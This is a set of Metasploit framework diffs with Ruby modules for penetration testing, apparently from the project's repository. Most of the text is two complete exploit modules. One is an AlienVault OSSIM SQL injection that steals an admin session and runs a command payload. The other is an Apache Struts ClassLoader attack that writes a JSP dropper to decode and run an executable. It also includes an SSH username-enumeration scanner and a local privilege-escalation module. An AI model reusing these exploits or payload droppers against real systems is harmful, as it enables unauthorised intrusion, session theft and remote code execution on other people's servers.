||||
conversion = value
|
||||
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
elsif size == 2
|
||||
conversion = [value].pack("v").unpack("n").first
|
||||
end
|
||||
|
||||
conversion
|
||||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
back_end = ""
|
||||
|
||||
if cookie_value =~ /(\d{8})\.(\d{5})\./
|
||||
host = $1.to_i
|
||||
port = $2.to_i
|
||||
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
|
||||
port = change_endianness(port, 2)
|
||||
|
||||
back_end = "#{host}:#{port}"
|
||||
end
|
||||
|
||||
back_end
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
cookie = {}
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri
|
||||
})
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session ID, like "TestCookie=2263487148.3013.0000"
|
||||
m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/)
|
||||
unless m.nil?
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
end
|
||||
end
|
||||
|
||||
cookie
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['REQUESTS'] > 0
|
||||
print_error("Please, configure more than 0 REQUESTS")
|
||||
return
|
||||
end
|
||||
|
||||
back_ends = []
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("#{peer} - Starting request #{@uri}")
|
||||
|
||||
for i in 0...datastore['REQUESTS']
|
||||
cookie = get_cookie() # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 Server load balancing cookie not found")
|
||||
break
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 0
|
||||
print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found")
|
||||
end
|
||||
|
||||
back_end = cookie_decode(cookie[:value])
|
||||
unless back_ends.include?(back_end)
|
||||
print_status("#{peer} - Backend #{back_end} found")
|
||||
back_ends.push(back_end)
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting found backends in database
|
||||
unless back_ends.empty?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "f5_load_balancer_backends",
|
||||
:data => back_ends
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This module exploits a file downlad vulnerability found in Oracle
|
||||
This module exploits a file download vulnerability found in Oracle
|
||||
Demantra 12.2.1 in combination with an authentication bypass. By
|
||||
combining these exposures, an unauthenticated user can retreive any file
|
||||
on the system by referencing the full file path to any file a vulnerable
|
||||
|
|
|
@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
||||
status_code = e.error_reason
|
||||
rescue ::Rex::Proto::SMB::Exceptions::InvalidWordCount => e
|
||||
status_code = e.error_reason
|
||||
status_code = e.get_error(e.error_code)
|
||||
rescue ::Rex::Proto::SMB::Exceptions::NoReply
|
||||
ensure
|
||||
disconnect()
|
||||
|
|
|
@ -16,13 +16,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'SSH Username Enumeration',
|
||||
'Description' => %q{
|
||||
This module uses a time-based attack to enumerate users in a OpenSSH server.
|
||||
This module uses a time-based attack to enumerate users on an OpenSSH server.
|
||||
On some versions of OpenSSH under some configurations, OpenSSH will return a
|
||||
"permission denied" error for an invalid user faster than for a valid user.
|
||||
},
|
||||
'Author' => ['kenkeiras'],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2006-5229']
|
||||
],
|
||||
[
|
||||
['CVE', '2006-5229'],
|
||||
['OSVDB', '32721'],
|
||||
['BID', '20418']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
|
@ -65,6 +69,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
datastore['THRESHOLD']
|
||||
end
|
||||
|
||||
# Returns true if a nonsense username appears active.
|
||||
def check_false_positive(ip)
|
||||
user = Rex::Text.rand_text_alphanumeric(8)
|
||||
result = attempt_user(user, ip)
|
||||
return(result == :success)
|
||||
end
|
||||
|
||||
def check_user(ip, user, port)
|
||||
pass = Rex::Text.rand_text_alphanumeric(64_000)
|
||||
|
||||
|
@ -115,8 +126,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
# Because this isn't using the AuthBrute mixin, we don't have the
|
||||
# usual peer method
|
||||
def peer(rhost=nil)
|
||||
"#{rhost}:#{rport} - SSH -"
|
||||
end
|
||||
|
||||
def user_list
|
||||
File.new(datastore['USER_FILE']).read.split
|
||||
if File.readable? datastore['USER_FILE']
|
||||
File.new(datastore['USER_FILE']).read.split
|
||||
else
|
||||
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
|
||||
end
|
||||
end
|
||||
|
||||
def attempt_user(user, ip)
|
||||
|
@ -126,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
|
||||
if attempt_num > 0
|
||||
Rex.sleep(2 ** attempt_num)
|
||||
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
|
||||
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
|
||||
end
|
||||
|
||||
ret = check_user(ip, user, rport)
|
||||
|
@ -139,18 +160,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def show_result(attempt_result, user, ip)
|
||||
case attempt_result
|
||||
when :success
|
||||
print_good "User '#{user}' found on #{ip}"
|
||||
print_good "#{peer(ip)} User '#{user}' found"
|
||||
do_report(ip, user, rport)
|
||||
when :connection_error
|
||||
print_error "User '#{user}' on #{ip} could not connect"
|
||||
print_error "#{peer(ip)} User '#{user}' on could not connect"
|
||||
when :fail
|
||||
print_debug "User '#{user}' not found on #{ip}"
|
||||
print_debug "#{peer(ip)} User '#{user}' not found"
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status "Starting scan on #{ip}"
|
||||
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
|
||||
print_status "#{peer(ip)} Checking for false positives"
|
||||
if check_false_positive(ip)
|
||||
print_error "#{peer(ip)} throws false positive results. Aborting."
|
||||
return
|
||||
else
|
||||
print_status "#{peer(ip)} Starting scan"
|
||||
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -269,11 +269,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
|
||||
"Connection: Keep-Alive\r\n" )
|
||||
|
||||
if (method == 'POST')
|
||||
theaders << 'Content-Length: ' <<
|
||||
(@finalputdata.length + 4).to_s()<< "\r\n"
|
||||
end
|
||||
|
||||
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
||||
if datastore['HTTP_HEADERFILE'] != nil
|
||||
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
|
||||
|
|
|
@ -117,4 +117,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def html
|
||||
"<!doctype html><html><body><script>#{js}</script></body></html>"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,356 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
|
||||
OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
|
||||
active admin session ID. If an administrator level user is identified, remote code execution
|
||||
can be gained by creating a high priority policy with an action containing our payload.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Sasha Zivojinovic', # SQLi discovery
|
||||
'xistence <xistence[at]0x90.nl>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '106252'],
|
||||
['EDB', '33006']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'RequiredCmd' => 'generic perl python',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Alienvault OSSIM 4.3', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Apr 24 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
marker = rand_text_alpha(6)
|
||||
sqli_rand = rand_text_numeric(4+rand(4))
|
||||
sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
|
||||
sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
|
||||
'vars_get' => { 'date_from' => sqli }
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("#{res.body}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
marker = rand_text_alpha(6)
|
||||
sqli_rand = rand_text_numeric(4+rand(4))
|
||||
sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
|
||||
sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
|
||||
|
||||
print_status("#{peer} - Trying to grab admin session through SQLi")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
|
||||
'vars_get' => { 'date_from' => sqli }
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
|
||||
admin_session = $1
|
||||
@cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
|
||||
print_status("#{peer} - Admin session cookie is [ #{@cookie} ]")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
|
||||
end
|
||||
|
||||
# Creating an Action containing our payload, which will be executed by any event (not only alarms)
|
||||
action = rand_text_alpha(8+(rand(8)))
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'action' => 'new',
|
||||
'action_name' => action,
|
||||
'descr' => action,
|
||||
'action_type' => '2',
|
||||
'only' => 'on',
|
||||
'cond' => 'True',
|
||||
'exec_command' => payload.encoded
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Created Action [ #{action} ]")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
|
||||
end
|
||||
|
||||
# Retrieving the Action ID, used to clean up the action after successful exploitation
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'page' => '1',
|
||||
'rp' => '2000'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
|
||||
@action_id = $1
|
||||
print_status("#{peer} - Action ID is [ #{@action_id} ]")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
|
||||
end
|
||||
|
||||
# Retrieving the policy data, necessary for proper cleanup after succesful exploitation
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'm_opt' => 'configuration',
|
||||
'sm_opt' => 'threat_intelligence',
|
||||
'h_opt' => 'policy'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
|
||||
policy_ctx = $1
|
||||
policy_group = $2
|
||||
print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
|
||||
end
|
||||
|
||||
# Creating policy which will be triggered by any source/destination
|
||||
policy = rand_text_alpha(8+(rand(8)))
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'descr' => policy,
|
||||
'active' => '1',
|
||||
'group' => policy_group,
|
||||
'ctx' => policy_ctx,
|
||||
'order' => '1', # Makes this the first policy, overruling all the other policies
|
||||
'action' => 'new',
|
||||
'sources[]' => '00000000000000000000000000000000', # Source is ANY
|
||||
'dests[]' => '00000000000000000000000000000000', # Destination is ANY
|
||||
'portsrc[]' => '0', # Any source port
|
||||
'portdst[]' => '0', # Any destination port
|
||||
'plug_type' => '1', # Taxonomy
|
||||
'plugins[0]' => 'on',
|
||||
'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found
|
||||
'tax_pt' => '0',
|
||||
'tax_cat' => '0',
|
||||
'tax_subc' => '0',
|
||||
'mboxs[]' => '00000000000000000000000000000000',
|
||||
'rep_act' => '0',
|
||||
'rep_sev' => '1',
|
||||
'rep_rel' => '1',
|
||||
'rep_dir' => '0',
|
||||
'ev_sev' => '1',
|
||||
'ev_rel' => '1',
|
||||
'tzone' => 'Europe/Amsterdam',
|
||||
'date_type' => '1',
|
||||
'begin_hour' => '0',
|
||||
'begin_minute' => '0',
|
||||
'begin_day_week' => '1',
|
||||
'begin_day_month' => '1',
|
||||
'begin_month' => '1',
|
||||
'end_hour' => '23',
|
||||
'end_minute' => '59',
|
||||
'end_day_week' => '7',
|
||||
'end_day_month' => '31',
|
||||
'end_month' => '12',
|
||||
'actions[]' => @action_id,
|
||||
'sim' => '1',
|
||||
'priority' => '1',
|
||||
'qualify' => '1',
|
||||
'correlate' => '0', # Don't make any correlations
|
||||
'cross_correlate' => '0', # Don't make any correlations
|
||||
'store' => '0' # We don't want to store anything :)
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Created Policy [ #{policy} ]")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")
|
||||
end
|
||||
|
||||
# Retrieve policy ID, needed for proper cleanup after succesful exploitation
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'ctx' => policy_ctx,
|
||||
'group' => policy_group
|
||||
},
|
||||
'vars_post' => {
|
||||
'page' => '1',
|
||||
'rp' => '2000'
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/
|
||||
@policy_id = $1
|
||||
print_status("#{peer} - Policy ID [ #{@policy_id} ] retrieved!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")
|
||||
end
|
||||
|
||||
# Reload the policies to make our new policy active
|
||||
print_status("#{peer} - Reloading Policies")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'what' => 'policies',
|
||||
'back' => '../policy/policy.php'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Policies reloaded!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
|
||||
end
|
||||
|
||||
# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
|
||||
dont_exist = rand_text_alpha(8+rand(4))
|
||||
print_status("#{peer} - Triggering policy and action by requesting a non existing url")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, dont_exist),
|
||||
'cookie' => @cookie
|
||||
})
|
||||
|
||||
if res and res.code == 404
|
||||
print_status("#{peer} - Payload delivered")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def cleanup
|
||||
begin
|
||||
# Clean up, retrieve token so that the policy can be removed
|
||||
print_status("#{peer} - Cleaning up")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => { 'f_name' => 'delete_policy' }
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
|
||||
token = $1
|
||||
print_status("#{peer} - Token [ #{token} ] retrieved")
|
||||
else
|
||||
print_warning("#{peer} - Unable to retrieve token")
|
||||
end
|
||||
|
||||
# Remove our policy
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'confirm' => 'yes',
|
||||
'id' => @policy_id,
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Policy ID [ #{@policy_id} ] removed")
|
||||
else
|
||||
print_warning("#{peer} - Unable to remove Policy ID")
|
||||
end
|
||||
|
||||
# Remove our action
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'id' => @action_id,
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Action ID [ #{@action_id} ] removed")
|
||||
else
|
||||
print_warning("#{peer} - Unable to remove Action ID")
|
||||
end
|
||||
|
||||
# Reload the policies to revert back to the state before exploitation
|
||||
print_status("#{peer} - Reloading Policies")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'what' => 'policies',
|
||||
'back' => '../policy/policy.php'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Policies reloaded!")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
|
||||
end
|
||||
|
||||
ensure
|
||||
super # mixins should be able to cleanup even in case of Exception
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Nikolas Sotiriu', # Vulnerability Discovery
|
||||
'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
|
||||
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,229 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking # It's going to manipulate the Class Loader
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in Apache Struts
|
||||
versions < 2.3.16.2. This vulnerability is due to the ParametersInterceptor, which allows
|
||||
access to 'class' parameter that is directly mapped to getClass() method and
|
||||
allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary
|
||||
Java code via crafted parameters.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Mark Thomas', # Vulnerability Discovery
|
||||
'Przemyslaw Celej', # Vulnerability Discovery
|
||||
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0094'],
|
||||
['CVE', '2014-0112'],
|
||||
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
|
||||
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 5000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Java',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => %w{ linux win }
|
||||
},
|
||||
],
|
||||
['Linux',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
['Windows',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 06 2014',
|
||||
'DefaultTarget' => 1))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def jsp_dropper(file, exe)
|
||||
dropper = <<-eos
|
||||
<%@ page import=\"java.io.FileOutputStream\" %>
|
||||
<%@ page import=\"sun.misc.BASE64Decoder\" %>
|
||||
<%@ page import=\"java.io.File\" %>
|
||||
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
|
||||
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
|
||||
<% oFile.flush(); %>
|
||||
<% oFile.close(); %>
|
||||
<% File f = new File(\"#{file}\"); %>
|
||||
<% f.setExecutable(true); %>
|
||||
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
|
||||
eos
|
||||
|
||||
dropper
|
||||
end
|
||||
|
||||
def dump_line(uri, cmd = "")
|
||||
res = send_request_cgi({
|
||||
'uri' => uri+cmd,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def modify_class_loader(opts)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
"class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory],
|
||||
"class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],
|
||||
"class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],
|
||||
"class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
|
||||
}
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check_log_file(hint)
|
||||
uri = normalize_uri("/", @jsp_file)
|
||||
|
||||
print_status("#{peer} - Waiting for the server to flush the logfile")
|
||||
|
||||
10.times do |x|
|
||||
select(nil, nil, nil, 2)
|
||||
|
||||
# Now make a request to trigger payload
|
||||
vprint_status("#{peer} - Countdown #{10-x}...")
|
||||
res = dump_line(uri)
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
|
||||
|
||||
# Success if the server has flushed all the sent commands to the jsp file
|
||||
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
|
||||
print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Fix the JSP payload to make it valid once is dropped
|
||||
# to the log file
|
||||
def fix(jsp)
|
||||
output = ""
|
||||
jsp.each_line do |l|
|
||||
if l =~ /<%.*%>/
|
||||
output << l
|
||||
elsif l =~ /<%/
|
||||
next
|
||||
elsif l.chomp.empty?
|
||||
next
|
||||
else
|
||||
output << "<% #{l.chomp} %>"
|
||||
end
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
def create_jsp
|
||||
if target['Arch'] == ARCH_JAVA
|
||||
jsp = fix(payload.encoded)
|
||||
else
|
||||
payload_exe = generate_payload_exe
|
||||
payload_file = rand_text_alphanumeric(4 + rand(4))
|
||||
jsp = jsp_dropper(payload_file, payload_exe)
|
||||
register_files_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
jsp
|
||||
end
|
||||
|
||||
def exploit
|
||||
prefix_jsp = rand_text_alphanumeric(3+rand(3))
|
||||
date_format = rand_text_numeric(1+rand(4))
|
||||
@jsp_file = prefix_jsp + date_format + ".jsp"
|
||||
|
||||
# Modify the Class Loader
|
||||
|
||||
print_status("#{peer} - Modifying Class Loader...")
|
||||
properties = {
|
||||
:directory => 'webapps/ROOT',
|
||||
:prefix => prefix_jsp,
|
||||
:suffix => '.jsp',
|
||||
:file_date_format => date_format
|
||||
}
|
||||
res = modify_class_loader(properties)
|
||||
unless res
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
|
||||
end
|
||||
|
||||
# Check if the log file exists and has been flushed
|
||||
|
||||
if check_log_file(normalize_uri(target_uri.to_s))
|
||||
register_files_for_cleanup(@jsp_file)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
|
||||
end
|
||||
|
||||
# Prepare the JSP
|
||||
print_status("#{peer} - Generating JSP...")
|
||||
jsp = create_jsp
|
||||
|
||||
# Dump the JSP to the log file
|
||||
print_status("#{peer} - Dumping JSP into the logfile...")
|
||||
random_request = rand_text_alphanumeric(3 + rand(3))
|
||||
jsp.each_line do |l|
|
||||
unless dump_line(random_request, l.chomp)
|
||||
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
|
||||
end
|
||||
end
|
||||
|
||||
# Check log file... enjoy shell!
|
||||
check_log_file(random_request)
|
||||
|
||||
# No matter what happened, try to 'restore' the Class Loader
|
||||
properties = {
|
||||
:directory => '',
|
||||
:prefix => '',
|
||||
:suffix => '',
|
||||
:file_date_format => ''
|
||||
}
|
||||
modify_class_loader(properties)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -17,10 +17,10 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
super(update_info(info,
|
||||
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
|
||||
'Description' => %q{
|
||||
This exploit leverage a stack overflow vulnerability to escalate privileges.
|
||||
This exploit leverages a stack overflow vulnerability to escalate privileges.
|
||||
The vulnerable function nfs_convert_old_nfs_args does not verify the size
|
||||
of a user-provided argument before copying it to the stack. As a result by
|
||||
passing a large size, a local user can overwrite the stack with arbitrary
|
||||
of a user-provided argument before copying it to the stack. As a result, by
|
||||
passing a large size as an argument, a local user can overwrite the stack with arbitrary
|
||||
content.
|
||||
|
||||
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
|
||||
|
@ -67,11 +67,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||
|
||||
print_status "Writing temp file... #{tmpfile}"
|
||||
print_status "Writing temp file as '#{tmpfile}'"
|
||||
write_file(tmpfile, exploit)
|
||||
register_file_for_cleanup(tmpfile)
|
||||
|
||||
print_status "Writing payload file... #{payloadfile}"
|
||||
